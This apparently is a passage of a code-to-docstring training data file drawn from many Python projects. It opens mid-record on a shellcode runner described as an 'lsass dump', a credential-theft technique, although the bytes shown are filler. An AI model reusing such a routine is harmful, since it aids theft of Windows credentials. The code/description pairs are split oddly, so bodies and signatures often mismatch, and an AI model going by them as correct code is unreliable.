b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\"\n shellcode += b\"\\x44\\x44\\x44\\x44\\x44\\x44\\x00\\x00\\x00\\x00\\x00\\x00\"\n\n self.runShellcode(shellcode, 22)\n", "nl": "Till sein lsass dump"} {"code": "def number_of_latent_clusters(self):\n\n Arguments:\n training_set (DataSet): Data set used to train model.\n validation_set (DataSet, optional): Data set used to\n validate model during training, if given.\n number_of_epochs (int, optional): The number of epochs to\n train the model.\n minibatch_size (int, optional): The size of the random\n minibatches used at each step of training.\n learning_rate (float, optional): The learning rate used at\n each step of training.\n run_id (str, optional): ID used to identify a certain run\n of the model.\n new_run (bool, optional): If ``True``, train a model anew\n as a separate run with an automatically generated ID.\n reset_training (bool, optional): If ``True``, reset model\n by removing saved parameters for the model.\n \"\"\"", "nl": "The number of latent clusters used in the model.return self.n_clustersdef has_been_trained(self, run_id=None):log_directory = self.log_directory(run_id=run_id)checkpoint = tf.train.get_checkpoint_state(log_directory)return bool(checkpoint)def log_directory(self, base=None, run_id=None,early_stopping=False, best_model=False):if not base:base = self.base_log_directorylog_directory = os.path.join(base, self.name)if run_id is None:run_id = defaults[\"models\"][\"run_id\"]if run_id:run_id = check_run_id(run_id)log_directory = os.path.join(log_directory,\"run_{}\".format(run_id))if early_stopping and best_model:raise ValueError(\"Early-stopping model and best model are mutually exclusive.\")elif early_stopping:log_directory = os.path.join(log_directory, \"early_stopping\")elif best_model:log_directory = os.path.join(log_directory, \"best\")return log_directorydef early_stopping_status(self, run_id=None):stopped_early = Falseepochs_with_no_improvement = 0early_stopping_log_directory = self.log_directory(run_id=run_id,early_stopping=True)log_directory = os.path.dirname(early_stopping_log_directory)if os.path.exists(log_directory):validation_losses = load_learning_curves(model=self,data_set_kinds=\"validation\",run_id=run_id,log_directory=log_directory)[\"lower_bound\"]if os.path.exists(early_stopping_log_directory):stopped_early, epochs_with_no_improvement = (early_stopping_status(validation_losses,self.early_stopping_rounds))return stopped_early, epochs_with_no_improvementdef train(self, training_set, validation_set=None, number_of_epochs=None,minibatch_size=None, learning_rate=None, run_id=None,new_run=False, reset_training=False, **kwargs):Train model."} {"code": "def _do_wrap(self):\n if not isinstance(self._port, str):\n url = port_to_tcp(self._port)\n self._logger.info('Determined Server URL: `%s`' % url)\n else:\n url = self._port\n\n if self._lock is None:\n if hasattr(os, 'fork'):\n self._lock = ForkAwareLockerClient(url)\n else:\n self._lock = LockerClient(url)\n\n if self._timeout is None:\n lock_server = LockerServer(url)\n else:\n lock_server = TimeOutLockerServer(url, self._timeout)\n self._logger.info('Using timeout aware lock server.')\n\n self._lock_process = multip.Process(name='LockServer', target=_wrap_handling,\n args=(dict(handler=lock_server,\n logging_manager=self._logging_manager,\n graceful_exit=self._graceful_exit),))\n\n self._lock_process.start()\n self._lock.start()\n lock_wrapper = LockWrapper(self._storage_service, self._lock)\n self._traj.v_storage_service = lock_wrapper\n self._lock_wrapper = lock_wrapper\n", "nl": " Wraps a Storage Service # First take care that the storage is initialisedself._traj.f_store(only_init=True)if self._wrap_mode == pypetconstants.WRAP_MODE_QUEUE:self._prepare_queue()elif self._wrap_mode == pypetconstants.WRAP_MODE_LOCK:self._prepare_lock()elif self._wrap_mode == pypetconstants.WRAP_MODE_PIPE:self._prepare_pipe()elif self._wrap_mode == pypetconstants.WRAP_MODE_LOCAL:self._prepare_local()elif self._wrap_mode == pypetconstants.WRAP_MODE_NETLOCK:self._prepare_netlock()elif self._wrap_mode == pypetconstants.WRAP_MODE_NETQUEUE:self._prepare_netqueue()else:raise RuntimeError('The mutliprocessing mode %s, your choice is ''not supported, use %s`, `%s`, %s, `%s`, or `%s`.'% (self._wrap_mode, pypetconstants.WRAP_MODE_QUEUE,pypetconstants.WRAP_MODE_LOCK,pypetconstants.WRAP_MODE_PIPE,pypetconstants.WRAP_MODE_LOCAL,pypetconstants.WRAP_MODE_NETLOCK))def _prepare_local(self):reference_wrapper = ReferenceWrapper()self._traj.v_storage_service = reference_wrapperself._reference_wrapper = reference_wrapperself._reference_store = ReferenceStore(self._storage_service, self._gc_interval)def _prepare_netlock(self): Replaces the trajectory's service with a LockWrapper "} {"code": "def target_path(self):\n\n This might not have the full target_path, but will be a subset.\n \"\"\"", "nl": "The desired path.return self.__target_path@propertydef path_value(self):The PathValue that we found, or None."} {"code": "def train_classifier(feature_matrix_0, feature_matrix_1, algorithm='SVM'):\n class0 = np.zeros((feature_matrix_0.shape[0], 1))\n class1 = np.ones((feature_matrix_1.shape[0], 1))\n\n y = np.concatenate((class0, class1), axis=0)\n features_all = np.concatenate((feature_matrix_0, feature_matrix_1),\n axis=0)\n\n mu_ft = np.mean(features_all, axis=0)\n std_ft = np.std(features_all, axis=0)\n\n X = (features_all - mu_ft) / std_ft\n", "nl": "Train a binary classifier.Train a binary classifier. First perform Z-score normalization, thenfitArgs:feature_matrix_0 (numpy.ndarray): array of shape (n_samples,n_features) with examples for Class 0feature_matrix_0 (numpy.ndarray): array of shape (n_samples,n_features) with examples for Class 1alg (str): Type of classifer to use. Currently only SVM issupported.Returns:(sklearn object): trained classifier (scikit object)(numpy.ndarray): normalization mean(numpy.ndarray): normalization standard deviation"} {"code": "def parse_common_organization_path(path: str) -> Dict[str, str]:\n return \"projects/{project}\".format(\n project=project,\n )\n\n @staticmethod", "nl": "Parse a organization path into its component segments.m = re.match(r\"^organizations/(?P.+?)$\", path)return m.groupdict() if m else {}@staticmethoddef common_project_path(project: str,) -> str:Returns a fully-qualified project string."} {"code": "def getSplicedAnimsTrack(anims, actor=None):\n track = Sequence()\n for nextAnim in anims:\n delay = 0.000001\n if (len(nextAnim) >= 2):\n if (nextAnim[1] > 0):\n delay = nextAnim[1]\n\n if (len(nextAnim) <= 0):\n track.append(Wait(delay))", "nl": " This function returns a Sequence spliced together from the animationsprovided as arguments. Arguments:actor = can optional provide an actor to applay all animations toanims = a list of lists. Each list contains an animation with optional arguments.Each argument holds a position in the list and only the first (the animation name)is required. The arguments are:[0] = animation name[1] = delay time before the animation is played (default=0 if not given)[2] = start time within the animation (default=0 if not given)[3] = duration of the animation to play (default=animation's duration if not given)[4] = an actor for the animation (which would overrule the actor keyword argument)The animations will be executed in the order of the anims list.Note: Keyword argument actor must be provided unless each animation list includes it.You can also provide a standard actor and occassionally override it with a specifiedactor as that fifth argument in the animation list."} {"code": "def to_str(self):\n return self.to_str()\n", "nl": "Returns the string representation of the modelreturn pprint.pformat(self.to_dict())def __repr__(self):For `print` and `pprint`"} {"code": "def dump_spec(self):\n props = set(dir(self))\n print(\"params: %s\" % [f for f in props if self.__is_param_field(f, self.__class__)])\n", "nl": "Prints the parameter specification of the model"} {"code": "def feed(self, *args):\n assert len(args) != 0\n self.terminals = []\n for fed_layer in args:\n if isinstance(fed_layer, string_types):\n try:\n fed_layer = self.layers[fed_layer]\n except KeyError:\n raise KeyError('Unknown layer name fed: %s' % fed_layer)\n self.terminals.append(fed_layer)\n return self\n", "nl": "Set the input(s) for the next operation by replacing the terminal nodes.The arguments can be either layer names or the actual layers."} {"code": "def _currentConnection(self):\n return succeed(self._currentConnection)\n\n\n @_machine.output()", "nl": "Return the currently connected protocol.@return: L{Deferred} that is fired with currently connected protocol."} {"code": "def body(self):\n return ' %s' % self._requirement_name()\n", "nl": "Return a summary of me for display under the heading.This default implementation simply prints a description of thetriggering requirement.:param req: The InstallRequirement that provoked this error, withpopulate_link() having already been called"} {"code": "def __init__(self, *args, **kwargs):\n kwargs = self.__pop_kwargs(**kwargs)\n self.crossSectionInt = 0 if self.crossSection.startswith('circ') else 1\n OE.__init__(self, *args, **kwargs)\n", "nl": "*Rm*: floatMeridional radius.*crossSection*: strDetermines the bending shape: either 'circular' or 'parabolic'."} {"code": "def _CreateHmacKey(self, thread_state=None):\n if self.args:\n access_id = self.args[0]\n else:\n raise _AccessIdException(self.command_name, self.action_subcommand,\n _DELETE_SYNOPSIS)\n\n gsutil_api = GetCloudApiInstance(self, thread_state=thread_state)\n\n gsutil_api.DeleteHmacKey(self.project_id, access_id, provider='gs')\n", "nl": "Creates HMAC key for a service account.if self.args:self.service_account_email = self.args[0]else:err_msg = ('%s %s requires a service account to be specified as the ''last argument.\\n%s')raise CommandException(err_msg %(self.command_name, self.action_subcommand, _CREATE_SYNOPSIS))gsutil_api = GetCloudApiInstance(self, thread_state=thread_state)response = gsutil_api.CreateHmacKey(self.project_id,self.service_account_email,provider='gs')print('%-12s %s' % ('Access ID:', response.metadata.accessId))print('%-12s %s' % ('Secret:', response.secret))def _DeleteHmacKey(self, thread_state=None):Deletes an HMAC key."} {"code": "def read_csv_molecules(filename):\n\n from openeye import oechem\n mol = oechem.OEMol()\n molecules = list()\n with oechem.oemolistream(filename) as ifs:\n while oechem.OEReadCSVFile(ifs, mol):\n molecules.append(oechem.OEMol(mol))\n return molecules\n", "nl": "Read molecules from the specified pathParameters----------filename : strFile from which molecules are to be readReturns-------molecules : list of openeye.oechem.OEMolThe read molecules"} {"code": "def _apply_constraints(self, lprobs, constraints, idx):\n constraint_penalty = []\n permitted_eos = []\n for con in constraints:\n nominated_nt = con.nominate_nt()\n if self.tgt_dict[self.tgt_dict.eos()] in nominated_nt:\n permitted_eos.append(True)\n else:\n permitted_eos.append(False)\n constraint_penalty.append([\n 0.0\n if self.tgt_dict[nt].strip('[') in nominated_nt\n else -math.inf\n for nt in self.nt_map\n ])\n self.constraint_penalty = np.zeros((len(constraint_penalty), self.vocab_size))\n self.constraint_penalty[:, self.nt_map] = np.array(constraint_penalty)\n if any(permitted_eos):\n self.constraint_penalty[permitted_eos, :] = -math.inf\n self.constraint_penalty[permitted_eos, self.tgt_dict.eos()] = 0.0\n lprobs += torch.tensor(self.constraint_penalty, device=lprobs.device)\n", "nl": "Penalize unmet constraints"} {"code": "def forward(self, inputs: Union[str, dict, List[str], List[int], List[dict]] = Body(None, embed=True)):\n\n if len(inputs) == 0:\n return ServeForwardResult(output=[], attention=[])\n\n try:\n output = self._pipeline(inputs)\n return ServeForwardResult(output=output)\n except Exception as e:\n raise HTTPException(500, {\"error\": str(e)})", "nl": "**inputs**:**attention_mask**:**tokens_type_ids**:"} {"code": "def _partition(s, sep, find):\n idx = find(sep)\n if idx != -1:\n left = s[0:idx]\n return left, sep, s[len(left)+len(sep):]\n\n", "nl": "(str|unicode).(partition|rpartition) for Python 2.4/2.5."} {"code": "def remove_field(self, field):\n new_field = FieldFactory(\n field,\n )\n new_field.set_table(self)\n new_field_identifier = new_field.get_identifier()\n for field in self.fields:\n if field.get_identifier() == new_field_identifier:\n self.fields.remove(field)\n return field\n return None\n", "nl": "Removes a field from this table:param field: This can be a string of a field name, a dict of {'alias': field}, ora ``Field`` instance:type field: str or dict or :class:`Field `"} {"code": "def setup(self, node):\n pass\n", "nl": " Perform any necessary setup before running the visitor.This method is invoked before the visitor is executed overa particular node. The default implementation does nothing.Parameters----------node : objectThe node passed to the visitor."} {"code": "def bad():\n self.assertRaises(PFAUserException, bad)\n\n engine, = PFAEngine.fromYaml('''\n self.assertEqual(engine.action(None), \"hey\")\n", "nl": "PFAEngine.fromYaml(input: \"null\"output: \"null\"action:if: truethen: {error: \"This is bad\"})[0].action(None)"} {"code": "def getUrl(self, session):\n return session.url + self.getUriPathAndOptions(session)\n\n\n @property", "nl": "Returns the URI this request will access:param session: session object for which the request will be sent:type session: cobra.mit.session.AbstractSession"} {"code": "def __init__(self):\n self.nums = []\n", "nl": "initialize your data structure here."} {"code": "def is_time_format(time):\n if time is None:\n return False\n\n for time_format in TIME_FORMATS:\n try:\n datetime.strptime(time, time_format)\n return True\n except ValueError:\n pass\n\n return False", "nl": "Check if 'time' variable has the format of oneof the 'time_formats'"} {"code": "def close(self):\n\n :param size: The number of characters to read, or \"None\" to read the\n entire response.\n :type size: ``integer`` or \"None\"\n\n \"\"\"", "nl": "Closes this response.if self._connection:self._connection.close()self._response.close()def read(self, size = None):Reads a given number of characters from the response."} {"code": "def forms_invalid(self):\n forms = self.get_forms()\n return all(form.is_valid() for form in forms.values())\n", "nl": "At least one form is invalid, render all formsreturn self.render_to_response(self.get_context_data())def validate_forms(self) -> bool:Make sure all forms are valid"} {"code": "def new_annotation(self, pos, rect=None):\n if pos < 0:\n pos = 0\n if pos > len(self.annotations):\n pos = len(self.annotations)\n\n if rect is None:\n rect = Poppler.Rectangle()\n rect.x1 = self.pw - 20\n rect.x2 = rect.x1 + 20\n rect.y2 = self.ph - len(self.annotations) * 20\n rect.y1 = rect.y2 - 20\n\n new_annot = Poppler.AnnotText.new(self.parent.doc, rect)\n new_annot.set_icon(Poppler.ANNOT_TEXT_ICON_NOTE)\n self.annotations.insert(pos, new_annot)\n self.parent.made_changes()\n return new_annot\n\n", "nl": " Add an annotation to this pageArgs:pos (`int`): The position in the list of annotations in which to insert this annotationrect (:class:`~Poppler.Rectangle`): A rectangle for the position of this annotationReturns::class:`~Poppler.Annot`: A new annotation on this page"} {"code": "def advance_cycles(cycles):\n\n cycles_passed = 0\n\n while not (yield strobe):\n yield\n\n cycles_passed += 1\n if timeout and cycles_passed > timeout:\n raise RuntimeError(f\"Timeout waiting for '{strobe.name}' to go high!\")\n\n", "nl": " Helper methods that waits for a given number of cycles. for _ in range(cycles):yield@staticmethoddef wait_until(strobe, *, timeout=None): Helper method that advances time until a strobe signal becomes true. "} {"code": "def _is_at_or_above_minor_version(compilation_unit: \"CompilationUnit\", version: int) -> bool:\n assert compilation_unit.compiler_version.version\n return int(compilation_unit.compiler_version.version.split(\".\")[1]) >= version\n\n", "nl": "Checks if the solc version is at or above(=newer) a given minor (0.x.0) versionArgs:compilation_unit (CompilationUnit): Associated compilation unitversion (int): version to checkReturns:bool: True if the compilation unit version is above or equal to the provided version"} {"code": "def init(self, _encoding: str = \"utf-8\") -> Tuple[str, Optional[bytes]]:\n return (\"Init\", None)\n", "nl": "Create an XML string to initialize Coqtop.Not a command in 8.4 so return dummy command."} {"code": "def calculate_failures(trajectory):\n failures = [i for i, x in zip(range(len(trajectory)), trajectory)\n if len(x) == 1 and x[0] == 2]\n num_failures = len(failures)\n return num_failures, failures\n", "nl": " Calculate number of failuresArgs:trajectory: list of bboxReturns:num_failures: number of failuresfailures: failures point in trajectory, start with 0"} {"code": "def __init__(self, _kqueueImpl=select):\n self._impl = _kqueueImpl\n self._kq = self._impl.kqueue()\n self._reads = set()\n self._writes = set()\n self._selectables = {}\n posixbase.PosixReactorBase.__init__(self)\n\n", "nl": "Initialize kqueue object, file descriptor tracking dictionaries, andthe base class.See:- http://docs.python.org/library/select.html- www.freebsd.org/cgi/man.cgi?query=kqueue- people.freebsd.org/~jlemon/papers/kqueue.pdf@param _kqueueImpl: The implementation of L{_IKQueue} to use. Ahook for testing."} {"code": "def testIdleTimeoutStartsOutputlessTimeout(self):\n self.rdm.addOutput(mappend(self.transport))\n\n n, f, a, kw = self.scheduled.pop()\n self.assertEquals(n, self.idleTimeout)\n f(*a, **kw)\n\n self.failIf(self.events, \"Unexpectedly received some events.\")\n\n n, f, a, kw = self.scheduled.pop()\n self.assertEquals(n, self.transportlessTimeout)\n f(*a, **kw)\n\n self.assertEquals(len(self.events), 1)\n self.events[0].trap(athena.ConnectionLost)\n\n", "nl": "Test that if the last output is removed due to idleness that anothertimeout for the lack of any outputs is started."} {"code": "def _atomic_and_has_started(self):\n atomic_entries = models.HostQueueEntry.objects.filter(\n job=self.id, atomic_group__isnull=False)\n if atomic_entries.count() <= 0:\n return False\n\n started_statuses = (models.HostQueueEntry.Status.STARTING,\n models.HostQueueEntry.Status.RUNNING,\n models.HostQueueEntry.Status.COMPLETED)\n\n started_entries = atomic_entries.filter(status__in=started_statuses)\n return started_entries.count() > 0\n", "nl": ":return: True if any of the HostQueueEntries associated with this jobhave entered the Status.STARTING state or beyond."} {"code": "def _gmm_update(N, F, S):\n dim = F.shape[1]\n is_diag_cov = S.shape[1] == dim\n utr, utc = _uppertri_indices(dim, is_diag_cov)\n sumN = N.sum()\n weights = N / sumN\n means = F / N[:, np.newaxis]\n covs = S / N[:, np.newaxis] - means[:, utr] * means[:, utc]\n return weights, means, covs\n\n", "nl": "weights means covs = gmm_update(N,F,S) return GMM parameters,which are updated from accumulators"} {"code": "def test_monthly_repeating_chunk_six_days_span_two_months(self):\n event = create_event(\n start_date=(2014, 3, 28),\n end_date=(2014, 4, 2),\n created_by=self.user,\n title=\"Paul\",\n description=\"'chunk' event that lasts 6 days and repeats monthly.\",\n repeat=\"MONTHLY\"\n )\n x = [1, 2, 28, 29, 30]\n y = [1, 2, 28, 29, 30, 31]\n valid_dates = {\n '2014': {'03': [28, 29, 30, 31], '04': x, '05': y, '06': x,\n '07': y, '08': y, '09': x, '10': y, '11': x, '12': y},\n '2015': {'01': y, '02': [1, 2, 28], '03': y, '04': x}\n }\n self.check_dates(event, valid_dates)\n", "nl": "Test a monthly repeating chunk that lasts six days andspans 2 different months when it starts."} {"code": "def forward(self, x, emb):\n return checkpoint(\n self._forward, (x, emb), self.parameters(), self.use_checkpoint\n )\n", "nl": "Apply the block to a Tensor, conditioned on a timestep embedding.:param x: an [N x C x ...] Tensor of features.:param emb: an [N x emb_channels] Tensor of timestep embeddings.:return: an [N x C x ...] Tensor of outputs."} {"code": "def get_min_size(self):", "nl": "returns size required by the widgetif self.visible == False:return 0, 0else:return ((self.min_width or 0) + self.horizontal_padding + self.margin_left + self.margin_right,(self.min_height or 0) + self.vertical_padding + self.margin_top + self.margin_bottom)def insert(self, index = 0, *widgets):insert widget in the sprites list at the given index."} {"code": "def only_pass_events(self) -> Set[Any]:\n classify as FAIL if the block raises an exception,\n and PASS if it does not.\n \"\"\"", "nl": "Return all events observed only in passing runs.return self.all_pass_events() - self.all_fail_events()T1 = TypeVar('T1', bound='DifferenceDebugger')def test_debugger_html_simple(debugger: T1) -> T1:with debugger.collect_pass():remove_html_markup('abc')with debugger.collect_pass():remove_html_markup('abc')with debugger.collect_fail():remove_html_markup('\"abc\"')return debuggerclass DifferenceDebugger(DifferenceDebugger):def __enter__(self) -> Any:Enter a `with` block. Collect coverage and outcome;"} {"code": "def capitalize(s):\n return s.capitalize()\n\n", "nl": "capitalize(s) -> stringReturn a copy of the string s with only its first charactercapitalized."} {"code": "def _admin_partition():\n return context.GLOBAL.admin.partition()\n\n", "nl": "Lazily return admin partition object."} {"code": "def to_dataframe(fit, pars=None, permuted=False, dtypes=None, inc_warmup=False, diagnostics=True, header=True):\n try:\n import pandas as pd\n except ImportError:\n raise ImportError(\"Pandas module not found. You can install pandas with: pip install pandas\")\n\n fit._verify_has_samples()\n pars_original = pars\n if pars is None:\n pars = fit.sim['pars_oi']\n elif isinstance(pars, string_types):\n pars = [pars]\n if pars:\n pars = pystan.misc._remove_empty_pars(pars, fit.sim['pars_oi'], fit.sim['dims_oi'])\n allpars = fit.sim['pars_oi'] + fit.sim['fnames_oi']\n _check_pars(allpars, pars)\n\n if dtypes is None:\n dtypes = {}\n\n n_kept = [s if inc_warmup else s-w for s, w in zip(fit.sim['n_save'], fit.sim['warmup2'])]\n chains = len(fit.sim['samples'])\n\n diagnostic_type = {'divergent__':int,\n 'energy__':float,\n 'treedepth__':int,\n 'accept_stat__':float,\n 'stepsize__':float,\n 'n_leapfrog__':int}\n\n header_dict = OrderedDict()\n if header:\n idx = np.concatenate([np.full(n_kept[chain], chain, dtype=int) for chain in range(chains)])\n warmup = [np.zeros(n_kept[chain], dtype=np.int64) for chain in range(chains)]\n\n if inc_warmup:\n draw = []\n for chain, w in zip(range(chains), fit.sim['warmup2']):\n warmup[chain][:w] = 1\n draw.append(np.arange(n_kept[chain], dtype=np.int64) - w)\n draw = np.concatenate(draw)\n else:\n draw = np.concatenate([np.arange(n_kept[chain], dtype=np.int64) for chain in range(chains)])\n warmup = np.concatenate(warmup)\n\n header_dict = OrderedDict(zip(['chain', 'draw', 'warmup'], [idx, draw, warmup]))\n\n if permuted:\n if inc_warmup:\n chain_permutation = []\n chain_permutation_order = []\n permutation = []\n permutation_order = []\n for chain, p, w in zip(range(chains), fit.sim['permutation'], fit.sim['warmup2']):\n chain_permutation.append(list(range(-w, 0)) + p)\n chain_permutation_order.append(list(range(-w, 0)) + list(np.argsort(p)))\n permutation.append(sum(n_kept[:chain])+chain_permutation[-1]+w)\n permutation_order.append(sum(n_kept[:chain])+chain_permutation_order[-1]+w)\n chain_permutation = np.concatenate(chain_permutation)\n chain_permutation_order = np.concatenate(chain_permutation_order)\n permutation = np.concatenate(permutation)\n permutation_order = np.concatenate(permutation_order)\n\n else:\n chain_permutation = np.concatenate(fit.sim['permutation'])\n chain_permutation_order = np.concatenate([np.argsort(item) for item in fit.sim['permutation']])\n permutation = np.concatenate([sum(n_kept[:chain])+p for chain, p in enumerate(fit.sim['permutation'])])\n permutation_order = np.argsort(permutation)\n\n header_dict[\"permutation\"] = permutation\n header_dict[\"chain_permutation\"] = chain_permutation\n header_dict[\"permutation_order\"] = permutation_order\n header_dict[\"chain_permutation_order\"] = chain_permutation_order\n\n if header:\n header_df = pd.DataFrame.from_dict(header_dict)\n else:\n if permuted:\n header_df = pd.DataFrame.from_dict({\"permutation_order\" : header_dict[\"permutation_order\"]})\n else:\n header_df = pd.DataFrame()\n\n fnames_set = set(fit.sim['fnames_oi'])\n pars_set = set(pars)\n if pars_original is None or fnames_set == pars_set:\n dfs = [pd.DataFrame.from_dict(pyholder.chains).iloc[-n:] for pyholder, n in zip(fit.sim['samples'], n_kept)]\n df = pd.concat(dfs, axis=0, sort=False, ignore_index=True)\n if dtypes:\n if not fnames_set.issuperset(pars_set):\n par_keys = OrderedDict([(par, []) for par in fit.sim['pars_oi']])\n for key in fit.sim['fnames_oi']:\n par = key.split(\"[\")\n par = par[0]\n par_keys[par].append(key)\n\n for par, dtype in dtypes.items():\n if isinstance(dtype, (float, np.float64)):\n continue\n for key in par_keys.get(par, [par]):\n df.loc[:, key] = df.loc[:, key].astype(dtype)\n\n elif pars:\n par_keys = dict()\n if not fnames_set.issuperset(pars_set):\n par_keys = OrderedDict([(par, []) for par in fit.sim['pars_oi']])\n for key in fit.sim['fnames_oi']:\n par = key.split(\"[\")\n par = par[0]\n par_keys[par].append(key)\n\n columns = []\n for par in pars:\n columns.extend(par_keys.get(par, [par]))\n columns = list(np.unique(columns))\n\n df = pd.DataFrame(index=np.arange(sum(n_kept)), columns=columns, dtype=float)\n for key in columns:\n key_values = []\n for chain, (pyholder, n) in enumerate(zip(fit.sim['samples'], n_kept)):\n key_values.append(pyholder.chains[key][-n:])\n df.loc[:, key] = np.concatenate(key_values)\n\n for par, dtype in dtypes.items():\n if isinstance(dtype, (float, np.float64)):\n continue\n for key in par_keys.get(par, [par]):\n df.loc[:, key] = df.loc[:, key].astype(dtype)\n else:\n df = pd.DataFrame()\n\n if diagnostics:\n diagnostics_dfs = []\n for idx, (pyholder, permutation, n) in enumerate(zip(fit.sim['samples'], fit.sim['permutation'], n_kept), 1):\n diagnostics_df = pd.DataFrame(pyholder['sampler_params'], index=pyholder['sampler_param_names']).T\n diagnostics_df = diagnostics_df.iloc[-n:, :]\n for key, dtype in diagnostic_type.items():\n if key in diagnostics_df:\n diagnostics_df.loc[:, key] = diagnostics_df.loc[:, key].astype(dtype)\n diagnostics_dfs.append(diagnostics_df)\n if diagnostics_dfs:\n diagnostics_df = pd.concat(diagnostics_dfs, axis=0, sort=False, ignore_index=True)\n else:\n diagnostics_df = pd.DataFrame()\n else:\n diagnostics_df = pd.DataFrame()\n\n df = pd.concat((header_df, df, diagnostics_df), axis=1, sort=False)\n if permuted:\n df.sort_values(by='permutation_order', inplace=True)\n if not header:\n df.drop(columns='permutation_order', inplace=True)\n return df\n", "nl": "Extract samples as a pandas dataframe for different parameters.Parameters----------pars : {str, sequence of str}parameter (or quantile) name(s).permuted : boolIf True, returned samples are permuted.If inc_warmup is True, warmup samples have negative order.dtypes : dictdatatype of parameter(s).If nothing is passed, float will be used for all parameters.inc_warmup : boolIf True, warmup samples are kept; otherwise they arediscarded.diagnostics : boolIf True, include hmc diagnostics in dataframe.header : boolIf True, include header columns.Returns-------df : pandas dataframeReturned dataframe contains: [header_df]|[draws_df]|[diagnostics_df],where all groups are optional.To exclude draws_df use `pars=[]`."} {"code": "def select(self, timeout=None):\n raise NotImplementedError\n", "nl": "Perform the actual selection, until some monitored file objects areready or a timeout expires.Parameters:timeout -- if timeout > 0, this specifies the maximum wait time, insecondsif timeout <= 0, the select() call won't block, and willreport the currently ready file objectsif timeout is None, select() will block until a monitoredfile object becomes readyReturns:list of (key, events) for ready file objects`events` is a bitwise mask of EVENT_READ|EVENT_WRITE"} {"code": "def test_installCorrectReactor(self):\n self.patchInstallReactor()\n\n options = TwistOptions()\n options.subCommand = \"test-subcommand\"\n options.parseOptions([\"--reactor=fusion\"])\n\n self.assertEqual(set(self.installedReactors), set([\"fusion\"]))\n\n", "nl": "L{TwistOptions.installReactor} installs the chosen reactor after thecommand line options have been parsed."} {"code": "def _dict_key_priority(s):\n _MARKER = object()\n", "nl": "Return priority for a given key object.if isinstance(s, Forbidden):return _priority(s._schema) - 0.5if isinstance(s, Optional):return _priority(s._schema) + 0.5return _priority(s)def validate(self, data):Schema = self.__class__s = self._schemae = self._errori = self._ignore_extra_keysflavor = _priority(s)if flavor == ITERABLE:data = Schema(type(s), error=e).validate(data)o = Or(*s, error=e, schema=Schema, ignore_extra_keys=i)return type(data)(o.validate(d) for d in data)if flavor == DICT:data = Schema(dict, error=e).validate(data)new = type(data)() # new - is a dict of the validated valuescoverage = set() # matched schema keys# for each key and value find a schema entry matching them, if anysorted_skeys = sorted(s, key=self._dict_key_priority)for key, value in data.items():for skey in sorted_skeys:svalue = s[skey]try:nkey = Schema(skey, error=e).validate(key)except SchemaError:passelse:if isinstance(skey, Forbidden):# As the content of the value makes little sense for# forbidden keys, we reverse its meaning:# we will only raise the SchemaErrorForbiddenKey# exception if the value does match, allowing for# excluding a key only if its value has a certain type,# and allowing Forbidden to work well in combination# with Optional.try:nvalue = Schema(svalue, error=e).validate(value)except SchemaError:continueraise SchemaForbiddenKeyError('Forbidden key encountered: %r in %r' %(nkey, data), e)else:try:nvalue = Schema(svalue, error=e,ignore_extra_keys=i).validate(value)except SchemaError as x:k = \"Key '%s' error:\" % nkeyraise SchemaError([k] + x.autos, [e] + x.errors)else:new[nkey] = nvaluecoverage.add(skey)breakrequired = set(k for k in s if type(k) not in [Optional, Forbidden])if not required.issubset(coverage):missing_keys = required - coverages_missing_keys = \\', '.join(repr(k) for k in sorted(missing_keys, key=repr))raise \\SchemaMissingKeyError('Missing keys: ' + s_missing_keys, e)if not self._ignore_extra_keys and (len(new) != len(data)):wrong_keys = set(data.keys()) - set(new.keys())s_wrong_keys = \\', '.join(repr(k) for k in sorted(wrong_keys, key=repr))raise \\SchemaWrongKeyError('Wrong keys %s in %r' % (s_wrong_keys, data),e.format(data) if e else None)# Apply default-having optionals that haven't been used:defaults = set(k for k in s if type(k) is Optional andhasattr(k, 'default')) - coveragefor default in defaults:new[default.key] = default.defaultreturn newif flavor == TYPE:if isinstance(data, s):return dataelse:raise SchemaUnexpectedTypeError('%r should be instance of %r' % (data, s.__name__),e.format(data) if e else None)if flavor == VALIDATOR:try:return s.validate(data)except SchemaError as x:raise SchemaError([None] + x.autos, [e] + x.errors)except BaseException as x:raise SchemaError('%r.validate(%r) raised %r' % (s, data, x),self._error.format(data) if self._error else None)if flavor == CALLABLE:f = _callable_str(s)try:if s(data):return dataexcept SchemaError as x:raise SchemaError([None] + x.autos, [e] + x.errors)except BaseException as x:raise SchemaError('%s(%r) raised %r' % (f, data, x),self._error.format(data) if self._error else None)raise SchemaError('%s(%r) should evaluate to True' % (f, data), e)if s == data:return dataelse:raise SchemaError('%r does not match %r' % (s, data),e.format(data) if e else None)class Optional(Schema):Marker for an optional part of the validation Schema."} {"code": "def validate(self):\n raise NotImplementedError\n\n", "nl": " Validate the input to the label. Needs to be reimplemented by children classes."} {"code": "def is_multicast(self):\n return (self.network_address.is_multicast and\n self.broadcast_address.is_multicast)\n\n @staticmethod", "nl": "Test if the address is reserved for multicast use.Returns:A boolean, True if the address is a multicast address.See RFC 2373 2.7 for details."} {"code": "def xpathVariableLookup(self, name):\n ret = libxml2mod.xmlXPathVariableLookup(self._o, name)\n if ret is None:raise xpathError('xmlXPathVariableLookup() failed')\n return xpathObjectRet(ret)\n", "nl": "Search in the Variable array of the context for the givenvariable value. "} {"code": "def _at_end(self):\n Returns a string with comments added if ignore_comments is not set.\n \"\"\"", "nl": "returns True if we are at the end of the file.return self.index == self.number_of_lines@staticmethoddef _module_key(module_name, config, sub_imports=False, ignore_case=False, section_name=None):match = re.match(r'^(\\.+)\\s*(.*)', module_name)if match:sep = ' ' if config['reverse_relative'] else '_'module_name = sep.join(match.groups())prefix = \"\"if ignore_case:module_name = str(module_name).lower()else:module_name = str(module_name)if sub_imports and config['order_by_type']:if module_name.isupper() and len(module_name) > 1:prefix = \"A\"elif module_name[0:1].isupper():prefix = \"B\"else:prefix = \"C\"if not config['case_sensitive']:module_name = module_name.lower()if section_name is None or 'length_sort_' + str(section_name).lower() not in config:length_sort = config['length_sort']else:length_sort = config['length_sort_' + str(section_name).lower()]return \"{0}{1}{2}\".format(module_name in 